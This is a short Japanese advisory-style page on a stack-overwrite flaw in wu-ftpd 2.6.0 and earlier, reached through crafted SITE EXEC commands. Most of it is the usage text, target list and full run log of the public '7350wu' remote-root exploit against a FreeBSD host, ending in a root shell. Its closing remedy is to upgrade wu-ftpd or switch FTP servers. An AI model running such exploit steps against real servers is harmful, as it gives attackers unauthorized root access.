wu-ftpd 2.6.0以前のバージョンに脆弱性がある。
細工を施した SITE EXEC コマンドを送信することにより、スタック上のデータを上書きして任意のコマンドを実行可能。
この攻撃を行うには、ftpサーバにログイン可能なユーザ名・パスワードが必要
2000/06/23 公開
攻撃先
FreeBSD 4.0 RELEASE
wu-ftpd 2.6.0
攻撃元
# ./7350wu
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso
usage: ./7350wu [options] [commands]
options
-t target choose target, -t 0 for a list (default: 1)
-c enable mass mode, [commands] are required then
don't use parameters in commands, or use the
option end sign, as in: ... -c -- /bin/sh -c "id"
-h hostname set target host/ip (default: "localhost")
-u username set username to use for login (default: "ftp")
-p password set password to use (default: "mozilla@"
-s sleeptime sleep between reconnects (default: 2 seconds)
-r refind the buffer distance on each connection
-v verbose mode (two times -> insane verbosity)
# ./7350wu -t 0
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso
target description byte order
------ ---------------------------------- ------------------
1 Linux operating system little endian
2 FreeBSD little endian
3 FreeBSD with breakable chroot little endian
#
# ./7350wu -t 2 -h 192.168.0.100 -u www -p wwwadmin
7350wu - wuftpd <= 2.6.0 x86/linux remote root (mass enabled)
by team teso
phase 1 - login... login succeeded
phase 2 - testing for vulnerability... vulnerable, continuing
phase 3 - finding buffer distance on stack... ###########
found: 1104 (0x00000450)
phase 4 - finding source buffer address... #######################
found: 0xbfbff039
phase 5 - find destination buffer address... ########################################
found: 0xbfbfe7c4
phase 6 - calculating return address
retaddr = 0xbfbff223
phase 7 - getting return address location
found 0xbfbfebc8
phase 8 - exploitation...
using return address location: 0xbfbfebc8
len = 510
3616611
1934652240
1934652240
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)
wu-ftpd を最新版にアップグレート
他のftpサーバに切り替える